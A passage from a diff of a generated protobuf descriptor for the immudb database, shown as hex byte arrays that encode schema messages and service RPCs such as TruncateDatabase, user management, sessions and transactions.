0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, + 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, + 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, + 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, + 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, - 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, - 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, - 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, - 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, - 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, - 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, - 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, - 0x61, 0x79, 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, - 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, - 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, - 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, - 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, - 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, - 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, - 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, - 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, - 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, - 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, - 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, - 0xe8, 0x33, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, - 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, - 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, - 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, - 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, + 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, + 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, + 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, + 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, + 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, + 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, + 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, + 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, + 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, + 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, + 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, + 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, + 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, + 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, + 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, + 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, - 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, + 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, + 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, + 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, + 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 